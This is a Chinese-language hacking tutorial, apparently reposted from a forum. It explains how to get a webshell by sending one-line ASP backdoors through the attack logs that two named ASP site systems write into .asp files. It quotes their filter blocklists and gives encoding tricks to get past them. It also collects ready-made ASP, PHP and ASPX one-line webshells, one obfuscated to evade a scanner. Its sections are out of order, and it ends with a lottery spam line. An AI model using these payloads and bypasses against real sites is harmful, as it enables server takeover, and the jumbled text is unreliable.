一句話木馬后門在防注入中的重生

  發布時間:2017-04-29 22:02:40   作者:佚名   我要評論
對于目前流行的sql注入,程序員在編寫程序時,都普遍的加入防注入程序,有些防注入程序只要在我們提交一些非法的參數后,就會自動的記錄下你的IP地址,提交的非法參數和動作等,同時也把非法提交的數據寫入了系統的后綴為ASP的文件中,這也給了我們一些可利用的地方

對于目前流行的sql注入,程序員在編寫程序時,都普遍的加入防注入程序,有些防注入程序只要在我們提交一些非法的參數后,就會自動的記錄下你的IP地址,提交的非法參數和動作等,同時也把非法提交的數據寫入了系統的后綴為ASP的文件中,這也給了我們一些可利用的地方,大家知道,一句話馬就是利用程序過濾的不完全而寫入的,按照這思路,我們是否可以在提交非法參數中加入一句話馬而防注入程序就會記錄我們提交的數據和一句話馬并寫入數據庫,從而得到一個WEBSHELL呢?呵呵,答案是肯定的,但對于要寫入的一句話馬如何繞過過濾的程序,卻是個難題,常見的一句話馬格式為”<%execute request(“a”)%>,而<%%>就很難繞過HTML的過濾, 但我們可以通過不同的方法來繞過,下面我分別以二個系統來講解:

打開”http://127.0.0.1/2005/sia-log.asp,出現了”類型不匹配:’execute’,顯示內部錯誤的IE選項顯示好友錯誤鉤掉就可以了。我們再用一句話客戶端來接連上傳后成功得到一個WEBSHELL。

例二:再談談” 快樂視聽音樂網 V4.0版本”系統的利用和分析:

系統加強防sql注入, 取消Asp頁面, 對不友好的IP或IP段進行封鎖。自動封注入者Ip功能,使注入者不能再訪問本站!可后臺管理、顯示系統界面。當在參數后提交非法數據時,系統自動記錄你的IP地址,提交的非法參數和動作等,然后系統屏蔽了你的IP地址,
讓你再無法訪問網站。我們先看下防注入sql.asp文件中的部分代碼,讀過防注入代碼的人一眼就能看出來這個文件是個修改版的。

 

<%
‘——–說明——————
‘SQL防注入加強版
‘——–數據庫連接部分————–
dim dbkillSql,killSqlconn,connkillSql
dbkillSql="data/#sql.asp"
‘On Error Resume Next
Set killSqlconn = Server.CreateObject("ADODB.Connection")
connkillSql="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(dbkillSql)
killSqlconn.Open connkillSql
If Err Then
       err.Clear
       Set killSqlconn = Nothing
      Response.Write "數據庫連接出錯,請檢查連接字串。"
       Response.End
End If
‘——–定義部份——————
Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr,Kill_IP,WriteSql
‘自定義需要過濾的字串,用 "|" 分隔
Fy_In = "’|;|and|(|)|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"
Kill_IP=True
WriteSql=True              以下略過
在sql.asp文件中,對下面出現在”|”分隔中的字符進行了攔截:
Fy_In = "’|;|and|(|)|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare"

也就說明了只有提交這些出現在”|”分隔的被過濾的字符串,才會被防注入系統寫入數據庫中而且是被寫入到data目錄中的#sql.asp文件中,其后綴為.asp的,剛好可以被我們利用,

同樣的道理,當你提交"<%execute request(chr(97))%>時,%被過濾了

我們把一句話小馬加密成"<%25execute request(chr(97))%25>"還是被過濾了,因為%還是存在我們把一句話改成"<script runat=server language=vbscript>eval request(chr(97))</script>這樣整句中就沒有出現“%“,提交后則成功完整的被寫入

用一句話客戶端連接并提交成功得到WEBSHELL。如果連接出錯,換個一句話連接工具laker2的不錯。

總結:

以上只是對這二個系統出現的漏洞一個方面的分析和利用,當然這類系統也存在著其它方面的漏洞如cookie的注入

例一西亞購物系統的利用和分析:

“西亞購物系統做了全面性安全處理, ‘數據庫防下載處理/CONN防止暴庫處理/防止跨站腳本攻擊/SQL注入式攻擊防范/禁止脫機瀏覽工具/前臺登陸驗證碼/后臺登陸驗證碼/

‘會員密碼MD5加密/管理員密碼MD5加密/數據來源安全性監測/sql注入代碼過濾/HTML代碼過濾及防護/管理員登陸日至記錄/攻擊記錄及惡意IP屏蔽/非法操作代碼日至記錄/吧安全網 “

當我們在參數提交非法參數時,彈出防注入的頁面
    大家看到這時我們已轉到”http://127.0.0.1/2005/Error.asp?allquery=id=381’的這個頁面上了我們來看conn.asp文件中部分防注入的代碼,代碼太長就貼點關鍵,百度老說老子文章長

if InStr(allquery,"%20")<>0 or InStr(allquery,"%27")<>0 or InStr(allquery,"’")<>0 or InStr(allquery,"%a1a1")<>0 or InStr(allquery,"%24")<>0 or InStr(allquery,"$")<>0 or InStr(allquery,"%3b")<>0 or InStr(allquery,";")<>0 or InStr(allquery,":")<>0 or InStr(allquery,"%%")<>0 or InStr(allquery,"%3c")<>0 or InStr(allquery,"<")<>0 or InStr(allquery,">")<>0 or InStr(allquery,"–")<>0 or InStr(allquery,"sp_")<>0 or InStr(allquery,"xp_")<>0 or InStr(allquery,"exec")<>0 or InStr(allquery,"/")<>0 or InStr(allquery,"delete")<>0 or InStr(allquery,"dir")<>0 or InStr(allquery,"exe")<>0 or InStr(allquery,"select")<>0 or InStr(allquery,"Update")<>0 or InStr(allquery,"cmd")<>0 or InStr(allquery,"*")<>0 or InStr(allquery,"^")<>0 or InStr(allquery,"(")<>0 or InStr(allquery,")")<>0 or InStr(allquery,"+")<>0 or InStr(allquery,"copy")<>0 or InStr(allquery,"format")<>0 then%>

    對提交的非法數據中包含以上被搜索到的字符串的話,就自動跳轉到”Error.asp的頁面去,而在”Error.asp文件中有以下部分代碼:

 

toppath = Server.Mappath("sia-log.asp")
Set fs = CreateObject("scripting.filesystemobject")
If Not Fs.FILEEXISTS(toppath) Then
Set Ts = fs.createtextfile(toppath, True)
.
.

Set Ts= Fs.OpenTextFile(toppath,1)
Do While Not Ts.AtEndOfStream
Errorlog = Errorlog & Ts.ReadLine & chr(13) & chr(10)

當你提交非法數據時,程序就會獲得你的IP,并創建一個FSO對象,再利用FSO對象自動創建sia_log.asp文件,并將非法提交的字符寫入文件中

打開” http://127.0.0.1/2005/sia-log.aspp頁面,則看到文件記錄了我們剛才提交的數據,如圖:

這說明我們剛才的提交的非法參數已寫入了這個文件中,

3:那么,我們在這個頁面的參數后插入一句話如何
卻沒有彈出相應的對話框,說明沒有寫入到sia-log.as這個文件中,我們把地址換成” http://127.0.0.1/2005/Error.asp?allquery=id=381”再來試試,如圖

提交后彈出我們希望看到的頁面。

可我們再打開”sia-log.asp”文件卻看到小馬被過濾了成<execute request(“a”)> %號和"都過濾了。從這兒,我們知道%被過濾掉了而小寫a旁雙引號被轉換了,大家自己比較下,好了,知道這點,我們就可以重新構造我們的小馬了。其實繞過這個還是很簡單的。因為一句話寫法很多。

備份專用

<%eval(request("a")):response.end%>

asp一句話
<%execute(request("1"))%>

php一句話

<?php eval($_POST[1]);?>

aspx一句話

<script language="C#" runat="server">
WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");
</script>

可以躲過雷客圖的一句話。

<%
set ms = server.CreateObject("MSScriptControl.ScriptControl.1")
ms.Language="VBScript"
ms.AddObject "Response", Response
ms.AddObject "request", request
ms.ExecuteStatement("ev"&"al(request(""1""))")
%>

不用'<,>’的asp一句話

<script language=VBScript runat=server>execute request("1")</script>

不用雙引號的一句話。

<%eval request(chr(35))%>

這里我就用工具搗鼓一下,打開”注入字符轉換器”這款工具,把”<%” ,“execute 和request之間的空格及”(“a”)%>”相應的進行轉換,這樣原一句話馬就被加密成” %3C%25execute+request%28%22%61%22%29%25%3E” 或轉換成<%25execute request(chr(97))%25>,分別提交后,我們打開sia-log.asp文件后,可以清楚看到,二次提交的一句馬都成功的被寫入到sia_log.asp文件中了,

相關文章

最新評論

福建体育彩票时时彩11